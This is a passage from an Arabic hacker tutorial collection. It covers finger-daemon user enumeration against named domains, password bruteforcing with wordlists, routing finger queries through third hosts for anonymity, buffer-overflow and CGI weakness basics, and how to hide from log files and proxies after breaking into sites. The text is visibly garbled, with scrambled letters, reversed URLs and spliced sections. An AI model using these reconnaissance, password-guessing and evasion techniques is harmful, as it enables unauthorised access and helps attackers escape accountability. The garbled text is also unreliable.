حظة  ت هائلة ( server )النظام: ملا ر تخزن فیه معلوما   ویستخدم في استضافة المواقع هو جهاز كمبیوت
 

 Finger استخدام 1.3
<=================> 

 
ج السكا رام حث)  superscan (المعروفة مثل نعند استخدام اي من ب  مثلا(في موقع معین  للب

/com.israel.www://http ) ت ت)  Portبه منفذ ووجد حا٧٩) بور  هذا یعني ان  مفتو
/com.israelr.www://http 
ل Finger له  .دیمون یعم

ف ق وندوز  طلب استعلام؟ (request)نقوم بـ الآن كی ری ط  عن 
حیان وندوز لا ص للـ (client) نبویوجدبه ز في أغلب الأ ركب Finger خا لذلك  ( installed ) م

ف نستخدم   Finger كخادم لـ Telnet سو
ضیح--  --تو

Telnet(client) --------request-------> Finger Deamon(in Server) o 
ر ق كتابة السط ری ط  : ( MS DOS) الآتي في موجة الدوس عن 

telnet /com.foobar.www://http79  
ج رنام ر لك ب ر  telnet بعد ذلك سیظه   .و منه تطبع الأوام

س ل اما من یونیك حاجة إلى أن نستعم ت لأنه یوجد  لسنا ب س زبونتیلن ص بخدمة(client)بنظام لینوك  خا
Finger Deamon   ركّب على ریبا م  .النظام بشكل دائم تق

حظة  ح::: ملا ر رار بأستخدام سیكون الش ت الأستم س أما أذا قرر حتى نهایة الدرس لمستخدمي لینوك  التالي 
ر وندوز ت وستكون كتابة الأوام ر في موجه الدوس ثم في التلن س هيستكون كتابة الأوام ر التي  نف  الأوام

س ولكن بدل  ضع " @"تكتب بأستخدام نظام لینوك راعیا اسم الموقع في "www مسافة ثم"ن   الوندوز م
س هكذا  ر في لینوك   :مثلا یكون كتابة الأوام

com.finger@anyname  
  finger /com.anyname.www://http   :هكذا  ولكن في وندوز سیكون

حظ المسافة بین   www و finger لا
س  ر في یونك حث الأوام طبع في م ض انك تستخدم( ا )  unix shell  (على افترا

com.finger@israel 
ف  حظ ان الهد ل com.israel.www://http/ هنا هو ) ي هذا الموقعخدممعرفة من هم مستل(لا  كمثا
ج رالنتائ  :فستظه

Login: Name: Tty: Idle: When: Where: 
root israel sys console 17d Tue 10:13 node0ls3.israel.com 

Amos Amanda <.......> <.......> <.......> 
Anderson Kenneth 

Bright Adrian 
Doe John 
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Johnson Peter <.......> <.......> <.......> 
Mitnick Kevin 
Munson Greg 
Orwell Dennis 

ج؟  الآن ماذا تعني هذه النتائ
ى( login ) في العمود الأول ر ء المستعملین وفي الثاني ن حقیقیة" (Name) أسما ء ال  ،"الأسما
ت حقیقةحق التي بالطبع لیس ت  رینا العمود الثالث و.یقیة، لكن في معظم الوق  the النوع الطرفي(Tty) ی

terminal type  
رابع س والسادس وبعد ذلك في .the idle timeفترة التوقف (Idle) وال ت والمكان  العمودین الخام الوق

ل حساب للأتصا  .بالنظام الذي استخدم فیه ال
ت حیانا توجد أعمدة بعنواوین الأیمیلا خ الخاصة.. وأرقام هواتف أ ت ترید و بمستخدمین هذا النظام ال إذا كن
ت عن مستخدم معیّن ل بیتر جونسن Johnson Peter) المزید من المعلوما ل المثا ر ) على سبی ل الأم خ أد

 :التالي
finger com.johnson@israel 

 
خ 1.4 ض الخدع عند استخدام   Finger دمةبع

< ========================= 
ت ما الضعف رئیسي لخدمة أتمنىّ الآن شاهد ریك ماهي   Finger.  .....Finger deamon ال ی

ت الموجوده على حسابا ق قانوني (هذا یعني أنك تكسب  و.النظام ال ری ط من المجموعة  % ٥٠) عن 
ریة ح ر وهي الس ت الس ء المستخدمین التي س/كلما خولمجموعة أسما حك الد   .إلى نظام(Access) تمن

ج رنام ء المستخدمین، ستكون الخطوة القادمة متوقفه على ب ت أسما رف ر  أو bruteforce إذا ع خ بمعنى آ
ج تخمین الباسوورد رام   wordlist passowrd cracker ب

ل هناك ل المثا ت على سبی ت للتیلن خاصةّ كتب ت   اذهب لموقع سكربتا
/com.thehackerschoice.www://http حث عن  pl.  VLAD's pwscanأو اب

ف نصي ر في مل ت الس ت   )المفكره او word) لذلك یجب علیك ان تكون قائمة بكلما حاول ان تكون كلما و
ل ء المستخدمین وإذا لم تعم رقریبة من أسما ج القائمة الس رنام حك بهذا - bruteforce استخدم ب أنص

خذ ر لك كأس شاهي وتأ حظ ت ان ت حة الوق ل عمله لك استرا ج یعم رنام  -وتجعل الب
ت للمستخدمین حسابا ض ال ت بالطبع نجد بع حسابا رها من ال ر اهمیة من غی حساب الإدارة .للنظام اكث خاصة   و

(Admin) الجذر أو(root) ص بهم ف الباسوورد الخا حكموقتها تستطی بسبب انه عندما تعر بالموقع  ع الت
ر .  ت سهلة تخمین كلمة الس حسابا ض ال ض الخدع لمعرفةلهنا  و.وبالطبع بع ت ك بع حسابا . هذا النوع من ال

ل ل المثا ر ... على سبی  :إطبع الأم
finger com.secret@israel 

ر الي عندما ترسل هذا تسیعطیك ج Finger Deamon الأم حسابا حتوي على كلمة میع ال  التي ت
"secret" حقیقي ل أو الإسم ال ت .أماّ في اسم المستعم حسنا أن یمكنك أن  اذا، ماهو الشي المهم في هذا؟ 

ل ف من "secret" بدلا من "٠٠٠٠"أو  "temp" أو "test" تستعم ل ان یكون  وكما تعر حتم الم
ت حسابا حیان بسهل معرفة باسوورداته في أغل هذاالنوع من ال  .الأ

finger .@israel.com 
finger com.@israel0 

ر وشاهد ما ث جرب هذه الأوام حد  !ی
ف على خدعك RFCأقرأ ،Finger Deamon حاول التعر  !بنفسك وأوجد 
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ق موقع بأستخدام 1.5 ری ط  Finger الأستعلام عن 
< ========================= 

خدمةإذا أرد س"كفعل  Finger معنى) Finger ت ان استخدم  م"ولكنها تأتي هنا بمعنى " ألم  ")استعل
ر com.victim.wwwموقع معین مثل هذا والأستعلام عن خ ف أن موقع آ ضا تعر  وأی

"www.host.com" خدمة یقدم Finger ،ل  تعم
طلبا مثل ر مثل:( هذاعندها یمكنني ان أقدم  حث الأوام com.finger@host )هذا اكتب في م

@victim.com 
Host.com  م ج victim.com الآن (Finger) یستعل ریك النتائ   .وی

ریقة انك حدالفوائد من هذه الط  فعندما تقوم com. victimستكون مجهول لدى أ
/com.victim.www://http 

خول(بطلب سجل   .بدلا منك  في سجلاتهم، com.host.www://http/ ستشاهدlog (الد
ى وهي أنك یمكن ان تترك ر خ خدمة( یقوم ) موقع) Host فائدة ا ق  ری ط بالأستعلام عن ( Finger عن 

 وباحاس
ت هذا ت ان طلب س الشبكة ، بینما اذا  را على نف خ خدمة آ لن تكون  من جهازك Finger الأستعلام بأستخدام 

ر حة لك لأنك سأكون غی م عنه مسمو ق به لدى المستعل س اذا كان الطلب للأستعلام باستخدام موثو  بعك
Finger ق موقع  عن ری  .ط

حاسوبكان الموقع الذي ترید الأستعلام عنه: یعني الخلاصة  ر  س  یعتب ق به بعك ر موثو اذا كان  الشخصي غی
ف یسمح ر یشابهه فسو خ ق موقع ا ری ط   !.له  الأستعلام عن 

 
 

 الدرس الأستنتاج من هذا1.6
<===============> 

 
Finger Deamon حاول یمكن أن یكون مصدر حد ی ضخم لأي وا ت  خول معلوما   ( access )كسب الد

 .نظامالإلى
 Finger deamon ء المستخدمینقانو ر واسما ت الس حتاجها لكسب  نیا یزودّك بنصف كلما التي ت

خول  .access الد
حث عنها خاصة تب ت  حسابا خدع لطیفة تمكنك من معرفة  ت تستطیع  من معرفتك هناك بضعة  حسابا لهذه ال

ل تقنیة ت ، بإستعما ر الباسووردا   .bruteforce أو wordlist كس
ر فوائد  ق م"تذكّ ری ط ل"وقعالأستعلام عن  ضا بأستعما   ...Finger deamon أی
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 "secure shell شرح الـ"
  

$$$$$$$$$$$$$$$$$$$  
  ACID BURN_EG:الكاتب

 $$$$$$$$$$$$$$$$$$$  
  ....قد اسبقها الكاتب بمقدمة  من عنده 

  
ر أداة  ت secure shellتعتب ر هامة جدا بالنسبة لمخترقي المواقفى  من أهم الادوا ت وتعتب ع و الشبكا

ت على یتستخدمها معظم الس را ختصاررف ت وغالبا ما نجدها بهذا الا  :: SSh الانترن
 

 ؟ SSh ــما هى ال
============== 

ل ج(هى اداه   secure shellا رنام خول الى) ب ل و الد ر على  للاتصا خ ر او جهاز ا  لتنفیذ الشبكة كمبیوت
ل هذا الجهاز  خ ر او مهام معینه دا ل عنبمعنى اوام و تستخدم  remotely connection  بعدالاتصا

ت من كمبیوتر ضا فى نقل الملفا ل  ای ت الاتصا ل امن جداا فى قنوا ق قوى و اتصا ر و هى تقدم توثی خ الى ا
ر امنه و هى س مثل الغی ض فى یونك ر س الغ ل لنف ت تستعم ل جید جداا لادوا ر كبدی  rlogin,rsh and) تعتب

rcp). 
ضا ال ت الاتصا secure shell و تقدم ای ت اتصالا حنا   .كونیكشن  tcp ل امن جداا لش

 
 ::و السؤال هو :: و هنا یأتى سؤال مهم 

 
ق علیها secure shell استخدام ال لماذا یفضل ى التى یطل ر خ ت الا فى  r- commands على الادوا
س  فى الاعلى ؟ كالمذكورین    یونك

====================== 
س مثل ال ت الیونك ضت BSD* فى توزیعا ق علیها تعر ت التى یطل  مثل r- commands الادوا
(rlogin,rsh and rcp) ع ان یكتسب ال  الى انواع مختلفه من ص استطا حیث انه لو شخ ت  الهجما

س ت اكسی ل فیزیائى  للاجهزه التى (root access) رو ق اتصا ری ط ریقه ما او فعلها ن  على الشبكه بط
ل الى خ ت ا اى ریموتلى یمكنه ان ید صعوبه لانه یستطیع كل بیانا لاجهزه التى على الشبكه بدون ادنى 

س ان ت اكس رو ق بال ر صعوبه و یمكنه تفادیها بط س بدون اى  خلال اى اداه من المذكوره فى یونك ر من   یعب
ص لدیه  اعتقد انكم unauthorized access to systems معینه و هذا ما یسمى بأن الشخ

ص ان  فهمتونى الان ضا لاى شخ خلالو یمكن ای س من  ت ورك ترافیك و یلتقط كل الباكیدج راقب  الن  ی
حتوى على الباسوردس للسیستم  س ت  . شبكتكلشبكتك و تكون هذه الباكیدج

حوظه ریقه: مل ت ط ق المنظما خترا ق و تستخدم فى ا خترا حقیقیه فى الا ریقه  ط ت ورك ترافیك هى  راقبه الن  م
خت ت بند تقفى الاثر و الاعداد للا ح ى و تقع ت ر ق الكب   . )را

س  و الان نعود الى ت فى یونك ر هنا مع كل عیوب الادوا ل تظه ل و مزایا السیكیور شی السیكیور شی
ره اى لا یعطیه فالسیكیور ق عب ل موثو ضا بأن یتصل اتصا س ای ت اكس رو ص الذى لدیه ال ل یطالب الشخ  شی

ل عل حای ت اجهزه الشبكه الا بالباسورد و لا یمكن الت خول الى بیانا ق للد ح هذه النقطه و  فى  sshى الال
س لن یستطسع الاطلاع على ت اكس رو ص من اكتساب ال حتى لو تمكن الشخ ت الشبكه بذلك   ب الا بیانا

authorized access to systems . 
حد حاول ا ت وررك ترافیك لشبكتك و التقاط  و النقطه الثانیه هى ان اذا  راقبه الن ق م ری ط ختراقك عن  ا

ل حم س التى ت ت فى مع الباكیدج رسل الباسوردا ل لا ی لوماتك و باسورداتك فسیخیب امله لان السیكیور شی
ق صوره ره و لذلك سیكون على المختر رسلها مشف ى و لكن ی ر خ س الا ت یونك حه كما ترسلها ادوا ض  وا
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خ ره و ال حاوله فك الشف   م
راته secure shell لكن مع كل هذه المزایا لم یخلى ال و ر ثغ ت و لكن تعتب را ریبا ةقلیل من الثغ  و تق

ق السیكیور شل ى یمكن ان تختر ر خ س و الا ت اكس روو حتاج الى ال هذا كلام بینى و بینكم(فقط بها  معظمها ی
( 

 
ر  خ  ::و الان سؤال ا

 
حمى منها ال  ؟ ssh ما هى انواع الهجوم التى ت

========================== 
حمى من ال -١ ل عنواین الا اى ip spoofing ت حا حمى من انت ص ما ت حیث انه لو ارسل شخ ى بى 

ر انه س من اى بى یظه ق به یكشفه ال باكیدج س موثو حقیقه لی ق به و لكنه فى ال ضا  ssh موثو حمى ای و ت
حلیه اى من ssh ال حلین على الشبكه الم  .. localy المنت
حمى مما یسمى ال -٢  . DNS spoofing ت
س التى یكون مخزن علیها الباس -٣ ض ظهور التیكست تتعتر حه و بیانا ض ت الوا س وردا  . الهوست
ق به -٤ ر موثو ص غی ت المخزنه اى تمنع اى شخ حمیك من معالجه البیانا ت لاى داتا مخزنه ت ل ایدی  من عم
.  

س امن بدرجه ssh و لكن مع كل هذا فأن ال ت ورك  لی ره فى الن ره كبی خب ص ذو  حیث ان الاشخا ره  كبی
رو  disconnected ل اىعن الاتصا ینقطع ssh یستطیعون ان یجعلون ال و لكن لا یمكن ان یكس
ر بیاناته او یعیدو لغ تشاتشفی  .الترافیك الذى كان ینقلها  ی

ء التى تكلمنا عنها  ضا كل الاشیا فبلأعلىو ای ر التى تسمح   سو خاصیه التشفی ت تستخدم  ل فقط اذا كن تعم
ر من ssh لك بها ال ر مثل و هى تسمح بأكث -three-key triple-DES, DES, RC4) نوع تشفی

128, TSS, Blowfish) خیار فى الاداه تسمح  یمكنك استخدام ضا هناك اوبشن اى  ما ترید منهم و ای
ر اى ل التشفی ق  encryption of type "none "لك بعدم تشغی حم لان ! و بهذا تجعلنى اقول علیك ا

ت التى تم ذكرها فى اول  سهله ssh هذا یجعل ال ق مثل الادوا خترا س لمواالا حیث ان هذا ، ضوع فى یونك
ر ضا یمنع ال التشفی ر مفاتیح DNS spoofing و ال ip spoofing ای ضافه الى تغیی ضا بالا  و هذا ای

ر التى تم استعمالها تماما ر مفاتیح التدمی ر كل فتره معینه و یتم تدمی  . فك التشفی
حترام و الاهتمام مع انها لا تخ ق الا ح حقا ممیزه و تست ت و لكن لنجعلها افضل  لو مناذن فهى اداه  را الثغ

حالیاموجودال   ...ل فى هذا المجا 
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 "Buffer Overflows شرح معنى الـ" 
  

$$$$$$$$$$ 
   Lamer :الكاتب

$$$$$$$$$$  
 

ضوع  حول هذا المو ر  ریقة مبسطة اكث ت ان اكتب بط حاول ضوع لكني  ت في هذا المو وتوجد العدید من الكتابا
ریقة یفهمه  ا الجمیع بط

 ؟ Buffer Overflow ما هو الـ -١
 
 (Proccess)المعالجه -٢
 
 (Memory management) إدارة الذاكره -٣
 
ر في -٤  Buffer Overflow ال ـاستغلال ماذك
 
ضعفها وقوتها لیستطیع * ج وادارة الذاكرة ومواطن  رام م كل مهم في الب ق ان یتعل یجب على كل مختر

ل عل حای ل معها والت ل التعام ق كان هذا المقا  .....یها ومن هذا المنطب
 
 ؟Buffer Overflow ما هو الـ -١

------------------------------------ 
 

Buffer Overflow   ج بسبب رنام ث لب حد ج حالة ت رنام رمجتة هذا الب رمجي في ب ل ب  .خل
ث ثغرة یمكنك أستغلالها من نوع حد روس Buffer Overflow ا ت  ، 'code red' تسمى فای التي أستغل

خادم ت IIS في   - MS web server- لمایكروسوف
ث حد ت  Buffer Overflow عموما، ی حجم ثاب ر ب ج ما متغیّ رنام ر ب حجم (عندما یظه ل، ل المثا على سبی

ت ٢٠ ر) بای حجم المتغیّ ر من  ر أكب ت إلى هذه المتغیّ خصّص  .و القیمة التي 
 

ل خذ هذا  :المثا
رنامجي على الشاشة هذه ا ر ب ء ال: "لجملةیظه ل اسم المستخدمرجا خا ج  "اد رنام رمجة هذا الب وانا مثلا ب

ت  حالا حث یكون منطقیا ان اسم المستخدم لن یتجاوز في اسوأ ال رفا مثلا ٣٠ب ح  STRING(30) ل  وسیعم
طبیعي لكن متى تكون المشكلة  ج بشكل  رنام   .....الب

ل مثلا  ونالمشكلة هنا تك خ ف كاسم للمستخدم٢٠٠اذا تم اد ر ح ت هذه الزائدة تكون عبارة عن    فالبیانا
حان وهو ما یسمى بالـ ر الاسم" "Overflow طف ت لمتغیّ خصّص  .على الذاكرة التي 
ج، رنام ص الذاكرة  عندما یبدأ الب   :تخصّ

 
ف أستغلّ هذا الخطأ؟؟؟  اذن كی

حاسقبل أن  ر في بنیة ال ق بهذا الام حول ما یتعل خذ جولة   .زبتصل لاجابةعلى هذا السؤال سنأ
س  .الأنظمة لباقي لكن المفهوم مماثل ،linux في هذه المقالة سنناقش نظام لینك

 
 :(Proccess)المعالجه-٢

--------------------------- 
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ل هي عملیة المعالجه إنّ حاسوب یعم حدة الوظیفیة الأساسیة في  حاسوب.(Proccess) الو هنالك  في ال
ل مسؤول  ت ونظام التشغی م القوةّ التي تجعل العدید منالعدید من العملیا س  عن تقسی ل في نف ت تعم العملیا

حاسوب ت في ال   .الوق
ء إسمه  س هناك شي ت"لی حیح "Multi- proccesses متعددالعملیا حدة ... ص ف اذن؟؛ انَّ و كی

ركزیةاالمعالجة  حیث تبدو مثل العدید من المهام  تنتقل بین (CPU)لم ره ب رعة كبی حده بس ت كلُُ على  العملیا
ل فيال حد، تي تعم ت وا  وق

حاسوب التي خدع ال حد وهذه من  ت وا ل في وق ت تعم  :) ..یؤدیها علینا  اذا تبدو لنا كأن العملیا
ضي من الذاكره ، ولایمكن لأي ضي من  كلّ عملیة لها عنوان فا ل في هذا المكان الفا خ ى تد ر خ عملیةآ

ر یجب ان. الذاكرة خ رشدنا الى شي ا  :تفهمه وهو وهذا ی
 
 :(Memory management) الذاكرهإدارة -٣

------------------------------------------------ 
 

ر أنظمة ل تدی ضیة-operating systems-التشغی حدیثة ذاكرة افترا  ).ظاهریة(virtual memory ال
 

رام  حقیقة ال ر من المهام موجه الى الذاكرة ال س وفي... وهذه الذاكرة تفید عندما یكون لدینا عدد كبی  نف
حقیقة  ر من كمیة المهام الموجهه للذاكرة ال حقیقة أصغ ت فالذاكرة ال  ... الوق

ت او المهام في مكان ما  على الهاردیسك في  حیث تقوم بخزن البیانا ضیة  هنا یأتي دور الذاكرة الافترا
ق علیها ال  ت وكأنها في الذاكرة تمام Back store  او  SWAPمنطقة یطل ل هذه البیانا ا ویتم   وتعام

ق علیها  خلال عملیة یطل ضیة من     swappingعملیة نقلها من والى الذاكرة بادارة هذه الذاكرة الافترا
ق علیها  حقیقة فهي معروفة لدى الجمیع والتي یطل ضیة اما الذاكرة ال ص عن الذاكرة الافترا (وهذا ملخ

RAM (READ ONLY MEMORY  او الذاكرة الفیزیائیة  ... 
------  

  
ر في الـاست -٤  Buffer Overflow غلال ماذك

--------------------------------------------- 
ء ح الآن نصل إلى الجز ر ف نستفید من الذي قلنا عن المعالجة وإدارة الذاكرة للوصول....  الأهم والم  كی
خول الى الجذر ق بأنهّ عندما (Root) والد ت ساب حن قلنا في وق ر ن ق النظام؟ تذكّ خترا كون ی وأ

خال ت(الإد ت لهذه) البیانا خصّص حجما من الذاكرة التي  ر  ض من المستخدم أكب ت الزائدة ستفی ت، البیانا  البیانا
(overflow) ر؟ هذا المكان من الذاكرة هو المكان الذي نستفید منه في  في الذاكرة التي بعد الاسم المتغیّ

ق خترا  .الأ
ل في ذلك خط : المكان ماذا نعم ل  خ خلها المستخدم البی) مكان(دا ت التي ید ق وهو الاسم(انا ل الساب  في المثا

خلناه  ج ثم أد رنام حاسوب،) الأول الذي یطلب من قبل الب ر شعبیة لل ر الأكث ضع الأوام ر  ن حیث هذه الأوام
ث حد حاسوب ی ج(تجعل ال لّ هیكل نستطیع استخدامه فیما بعد للقیام) ینت . بالسیطرة الكاملة للنظام المستغ

س بیسطا كما یبدو لك، إذنالقیام بهذا  ل لی ت یجب أن تقرأ المقالة  العم ل ، أن ف یعم ت معرفة كی لو أرد
حول حده من الـ ،Buffer Overflows القادمة  ف لإستغلال وا  Bufferالذي سیصف بالضبط كی

Overflows ق في خترا  .الإ
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را في م ت هذه ةمقدمة بسیطة ومهمة للمخترقین لأنها ستتردد علیهم كثی حیث یوجد كان واقع السیكیورتي 
ث في الذاكرة نتیجة لما  حاد حان ال ت المعالجة او في الطف حول هذه المشاكل اما في وق ت  را العدید من الثغ

ق ذكره    ....سب
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 " وعلاقتها بالإنترنت  CGIالـ" 
  

$$$$$$$$$$$  
ل وـ نــــقـــــــــ   مـــ

$$$$$$$$$$$  
  

ف ن ف سو ض مقدمة الـ في هذا المل تCGIقوم بعر    : و علاقتها بالانترن
  CGIمقدمة للـ ) ١(
 

CGI=COMMON GATEWAY INTERFACE ل بین جانب   هي الواجهة التي تسمح بالاتصا
ج رام ق المتصفح أو الب ری ط روتوكول   والمستخدم عن  ر الذي یفهم ب رف خلافه و جانب الویب سی  )HTTP( 

.  
روتوكول الذي یTCP/IPالـ  ل  هو الب ء الاتصا ر أثنا رف ت السي جي أي و السی ت . ستخدمه سكریب البور

حددة روتوكول هي  الم ت ( ٨٠لهذا لب ر هذه البور    .)من الممكن أن تتغی
طبقا  حددة  ج م ضا نتائ ت الویب و الصور و أی حا صف ت السي جي أي أن تقوم بتولید  تستطیع سكریبتا

ت معینه یقوم خلا   لمد
حدیدها ج السي جي أي بت رم    مب

خطوتین أساسیتین یق ت السي جي أي علي  ل سكریبتا   :وم عم
ت له-١ خل ت التي أد ل معالجة أولیه للبیانا ت بعم    . في الخطوة الأولى یقوم السكریب
س-٢ ر أو العك رف ت التي یقوم المتصفح بارسالها الي السی ت كقناه للبیانا ل السكریب    . في الخطوة الثانیة یعم

ر  ت السي جي أي بتشفی خ للعملیقوم سكریب ل في أي منا حتي تتمكن من العم ت    .البیانا
ت لغة مجمعة مثل الفیجوال بیسك ء كان رمجة سوا ت السي جي أي بأي لغة ب أو لغة  یمكن كتابة سكریب

ج رنام ت  أن الب حید بین نوعین اللغا ق الو ر ل و الف ر ف یكون   مترجمة مثل البی ج باللغة المجمعة سو رم المب
ع في التنفیذ و لكن اللغ ر رأس ع في عملیة التطوی ر ت المترجمة أس    .ا

ره ت أو تطوی ل السكریب ل علي تعدی ت أن تعم ت اذا أرد   للسكریب
ضوعنا هي كالتالي  ر وثیقة الصله لمو ر التي تعتب   :أهم الأوام

١- GETر للمتصفح رف ت من السی ر یقوم بطلب بیانا    .  هذا الأم
٢- POSTت الم ر قبول المعلوما رف ر یطلب من السی خلة الیه من المتصفح هذا الأم    .د
٣- PUTحالیا ت الموجودة  خلا ل عن المد رسله الیه كبدی ت الم ر قبول المعلوما رف ر یطلب من السی    هذا الأم
.  
   :نقاط الضعف) ٢(

ضعفا في السي جي أي نفسه و لكنه س  ت السي جي أي لی ضعف في  نقاط الضعف التي یسببها سكریب
لHTTPبروتوكول الـ    . المختلفة أو في أنظمة التشغی

م النظام حطی ري للوصول الي ت خ ق أ ر ط   السي جي أي یسمح باستغلال نقاط الضعف الموجودة و لكن هناك 
حمیة باستخدام الـ . الأمني  ر م ت الغی ل یمكن الوصول الي الملفا   ....TELNET أو FTPكمثا
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ل الثاني ص     الف
  
    

  )) الحمایة والتخفي ((
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 " الإنترنتفي))) التخفي(((والأمن "

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 
ر<>ـدـ<>الــ JawaDal & :الكاتب  hi_haCker  & ــ

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  
 

حمایة  ف على كیفبة  ق أي موقع ان یتعر ختر ر في ا ق قبل أن یفك وتغطیة اثاره فما هي الفائدة على كل مختر
ل رم بالسجن  حكم علیك كمج ق موقع ثم ی ق لانك ....... ان تختر خترا ق بالا ف تنسى بعدها كل ما یتعل وسو

راقبة شدیدة  راقب م خ ...... ستكون م    ال
س  ت الوج ر من المخترقین هي ملفا ر نقطة تكون مصیدة لكثی ف تي بي  LOGsوأكث خولك لا  فمثلا عند د

خلا ت فموقع من  ختراقكل أي ثغرة كان ت هذا یعني انه تم ا حاول طتك لذلك و حتیا ضع ا  بالفعل اذا لم تكن قد و
  !! anonymousان تكون 

ف تي بي  خول للا رد الد حاجه اسمهالانك بمج ربط الفرس LOGS...(LOG.FILES) 1 في  ....   وهنا م
ضیفة هذه  ل الان عن و   ? Logsالكل سیسا

  
ص اتصل بالجهاز هي التي تقوم log filesال ل  كل شخ ت ) loged in(بتسجی حصلوا على معلوما و ی
  :مثل
  

خول  ت الد ق((وق خترا ت عملیة الا ت ...  بالضبط  ))وق ت أو .... و من اي موقع اتی  IPال .. onlineفصل
Address ال...   لكhost name) اسم الجهاز....  (  

  الدوله
  المدینه

ل   نظام التشغی
ص بكمزود الو  ...    المتصفح   ISP(Internet server provide(خدمه الخا

ت المسؤولة عن هذا الموقع !!!!  ر وكیفیة سهولة اصطیادك من قبل الجها خطورة هذا الام ت مدى  هل رأی
ره    ...!!!أو غی
  : مهمهlog files انواع ٣وهنا لك 
WTMP -خول خول\ یسجل كل د روج، مع میعاد الد ضافه الى ال\خ روج بالا   hostالخ

 UTMP - منOnlneحظه    في هذه الل
LASLOG – خول ر د خ   ا

  
ر ر الكثی ره علیهم !! و الكثی ف یوقع بك) log.files(لذا لو أراد الادمن ان یلقي نظ  track you(سو

down(  
روكسی: ربما یتبادر الى ذهنك وتقول  ت هنالك أي مشاكل انا ساستخدم ب ر یجب ان تعرفه یلیس ن هنالك ام

ت روكسیا   عن الب
روكسيخاد>--جهازك ر--FTP--الموقع>--م الب خ ت او اي شئ ا   !تلن

ت  ف مصدرك ومن ان ت موقع و الادمن اراد ان یعر خترق ع بك .لو ا ل یستطیع الایقا ل من الما حتي فبقلی  او 
ف عنك كل شئ  ر و سیعر رف روكسي سی ق الب روكسي.. یختر ر من ب ت تستخدم اكث س الكلام لو كن   نف

روكسي الاول>--جهازك روكسي الثانيخادم >--خادم الب   ...--so on--الثالث>--الب
ر باستطاعته الوصول الیك ... فان باستطاعته ان یصل الیك لكن ذلك یتطلب منه جهدا ومالا  خی   .لكن في الا
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ضا تستخدم شیئ اسمه   -: Wingate.. لكن تقدر ای
Wingate روكسي حقا وهو  هو ب ل لا م عنه بشئ من التفصی حمایة وسأتكل مح یسولكن مع جدران 

ر حد او اكث ت وا ر الذي ستتصل IP انه سیخفي الWingateفائده ال.. بمشاركه كونكشن انترن  عن الكمبیوت
  !!به

ف تبقى  ف كی حسبانك فیجب ان تعر ت یجب ان تضعها في  حظا ض الملا  على الanonymous وهذه بع
web ..ف تؤمن جهازك؟ ت امسح ملفا . zone alarmمثل ال firewall استخدم!!......و كی

ت المؤقته(الهیستوري ت الانترن ت هیستوري و ملفا ت الشخصیه و ..كالكوكیز و الانترن و الملفا
ق ل )اللو ج رائع یكفیك مؤونة هذه  الاعما رنام   .لدیكیجب ان یكون  windows washer اسمهوهنالك ب

ر     how to او how to Be anonymous on the webاذهب لجوجل و اكتب . و الكثی
ت ترید ..  انه مجاني Preety Good Privacy (PGP)dلو لا تنسى ا یجب ان یكون عندك لو كن

ق موقع و تترك ایمیلك فیه خترا ر !ا ل جدا في عملیة التشفی   ... فهو جمی
حصل علیه من   /org.pgpi.www://http: تستطیع ان ت

  
ل  ح الان بشئ من التفصی ء هویتك سأشر خفا ق للتخفي وا ر ض الط ر هنا بع ض من الامور الهامة وسنذك لبع

  :في الشبكة 
Proxy   - Sock Host - Wingate 

------------------------------------------- 
  ؟؟؟Proxy Server ما هو الـ 

) proxy server ل خادم خادم) الوكی ل المختقوم   ن serverهو  ت الاتصا خلاله بعملیا ء مع من  لفة سوا
ت وووو   خلال الشا ى من  ر خ خ .. المواقع او مع الاجهزة الا تف ال خلال منعند اتصالك بالإنترن   proxy 

server  ف تذهب إلىفإن روكسي  جمیع اتصالاتك سو ء ثم اهذا الب ل لمستخدم أولا وقبل كل شي یتم الاتصا
ل الموقع المطلوب می ح ر الموقع المطلوب لتكون الاجابة هي ت رف ت فمثلا   ....بسی ت أن تتصل بالإنترن إذا أرد

خلال استخدام  أن تتصفح وتفتح موقعا كهذا وترید  proxy server من 
/vb/com.asfh3.www://http ..   علیك أولا بالطلب من هذا proxy server ثم یقوم proxy 

server  حة خادم   منvb/com.asfh3.www://http/ بطلب الصف   server الموقع ومن ثم 
میلها وتخزینها  ح ف تستطیع ات حة ضاستعرلدیك بمعنى انك  سو  ... هذه الصف

ت بالتأكیدأن هذه  ر خلال ما ذك حظ من  خذستلا ت المستهلك في  كمیة العملیة تأ قلیلة ن البیاناتمقارنة مع الوق
ت الواصلة الینا اقل مقارنة ت أطول وكمیة الباتا حة فالوق لطلب هذه الصف روكسي ( العادي  بالإتصا ) بدون ب

ر الموقع المطلوب رف حة سیتجه الطلب مباشرة منك الى سی طلب الصف ت  حمیلهایتم   ثم حیث من وق مباشرة  ت
ح ضها في متصف حیث تستعر ت اقل ب ف یصبح اتصالك اذن مع اتصالك بل... ك في وق ر سو رف روكسي سی لب

ت ضها تذهب بالإنترن میلها أي تستعر ح حة تقوم بت صف ل المباشر وذلك لأن كل  ء مقارنة مع الاتصا إلى  بطي
روكسي  حالة نادرة وهو ان یكون  proxey server هذا الب ء عملیة التصفح الا في   ممایؤدي الى ابطا
روكسي س ت الب ر المستخدم قریب من المنطقة التي توجد بها ان رف حة . ی س الصف ق وان تٌطلب نف او ان یتف

طلبك لهذه  ق قبل  ت ساب ت في وق روكسي الذي تستخدمة ان س الب ر له نف خ ص ا طلبتها من شخ ت  التي ان
حة   . الصف

[User] >>>>>>>>>> [Proxy] >>>>>>>>>> [Web Page]  
رلماذا نس ر؟تخدم الب رف   وكسي سی

ء مجهولا فك عملیاتك التي تقوم بها على هذه : عدة اسباب ل حفاظ على هویتك والبقا رئیسي هو لل السبب ال
حصلون على  حتى لو تم اصطیادك فاننهم سی حیث انه  راقبة من الأعین في كل مكان ب الشبكة المكشوفة والم

ip ل لانه هو الذي یقوم بعملیة الاتصا روكسي المستخدم في عملیة الاتصا ر الموقع المطلوب كما الب رف ل بسی
ر الموقع المطلوب  رف ... وانا لا أقول بأنه لا یمكن الوصول الیك . ذكرنا فهو الوسیط بین المستخدم وسی
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ر من  صعوبتها هو استخدامك لعدد اكب طویلة ومما یزید من  ت تقفي  یمكن ولكن بصعوبة بالغة وعملیا
ت  روكسیا   الب

ر ان اغلب مزودي الخدمة  خ ر من الدول ISPسبب ا ر من المواقع المهمة ففي كثی حجب الكثی   یقومون ب
ر  بنسبة  رها نجد ان مواقع الهك ت وغی م على المواقع % ٤٠كالسعودیة والامارا ر وانا اتكل مغلقة او اكث

